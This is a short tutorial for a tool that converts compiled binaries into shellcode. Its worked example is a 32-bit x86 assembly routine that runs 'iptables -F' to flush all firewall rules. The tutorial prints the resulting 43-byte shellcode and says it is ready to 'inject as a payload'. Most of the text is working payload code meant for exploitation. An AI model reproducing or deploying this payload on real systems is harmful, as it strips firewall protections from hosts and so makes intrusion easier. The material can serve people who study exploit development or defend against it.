Binary to shellcode

Now we will talk about converting binary to shellcode using binary2shellcode
1- Compile & Run
To build binary2shellcode
cd /Debug
sudo make
The program will be installed in /usr/bin/ and the app name bin2shell To test just run it /usr/bin/bin2shell and it should be like this

2- Use Binary2Shellcode

We have here assembly code to flush iptables iptables -F with 43 bytes size

xor       %eax,%eax
push      %eax
pushw     $0x462d
movl      %esp,%esi
pushl     %eax
pushl     $0x73656c62
pushl     $0x61747069
pushl     $0x2f6e6962
pushl     $0x732f2f2f
mov       %esp,%ebx
pushl     %eax
pushl     %esi
pushl     %ebx
movl      %esp,%ecx
mov       %eax,%edx
mov       $0xb,%al
int       $0x80

Let’s compile and link and then try to run it

It’s works fine
Now we have to convert the assembly code into shellcode so we can inject it as a payload by using Binary2Shellcode application
bin2shell flush-iptables

The shellcode is

\x31\xc0\x50\x66\x68\x2d\x46\x89\xe6
\x50\x68\x62\x6c\x65\x73\x68\x69\x70
\x74\x61\x68\x62\x69\x6e\x2f\x68\x2f 
\x2f\x2f\x73\x89\xe3\x50\x56\x53\x89 
\xe1\x89\xc2\xb0\x0b\xcd\x80

Now let’s try it in C code

It’s works fine too

Note 1: Binary2Shell program is works only under Unix and Linux.
Note 2: Binary2Shell is opensource written in C under GNU General Public License.
Note 3: Binary2Shell calculate the size of shellcode.
Note 4: Binary2Shell Link